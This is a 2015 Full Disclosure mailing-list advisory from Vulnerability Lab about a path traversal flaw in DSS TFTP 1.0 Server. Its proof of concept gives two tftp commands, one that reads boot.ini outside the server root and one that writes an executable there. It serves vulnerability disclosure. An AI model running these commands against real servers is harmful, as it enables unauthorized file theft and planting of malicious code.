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Message-ID: <54EF070E.5060307@vulnerability-lab.com> Date: Thu, 26 Feb 2015 12:44:14 +0100 From: Vulnerability Lab <research@...nerability-lab.com> To: fulldisclosure@...lists.org Subject: [FD] DSS TFTP 1.0 Server - Path Traversal Vulnerability Document Title: =============== DSS TFTP 1.0 Server - Path Traversal Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1440 Release Date: ============= 2015-02-26 Vulnerability Laboratory ID (VL-ID): ==================================== 1440 Common Vulnerability Scoring System: ==================================== 6.2 Product & Service Introduction: =============================== DSS TFTP 1.0 Server is a simple TFTP server that allows basic file transfers. (Download: http://www.kndata.com/downloads/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a path traversal vulnerability in the official DSS TFTP 1.0 Server software. Vulnerability Disclosure Timeline: ================================== 2015-02-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ DSS TFTP 1.0 Server is a simple TFTP server that allows user to download/upload files through the TFTP service from/to specified tftp root directory. However, application is vulnerable to path traversal that enables attacker to download/upload files outside the tftp root directory. Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. GET file from server tftp -i 192.168.56.101 GET .../boot.ini PUT file outside the tftp root directory tftp -i 192.168.56.101 PUT exploit.exe .../exploit.exe Security Risk: ============== The security risk of the path traversal software vulnerability is estimated as high. (CVSS 6.2) Credits & Authors: ================== lucyoa Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@...nerability-lab.com - research@...nerability-lab.com - admin@...lution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@...nerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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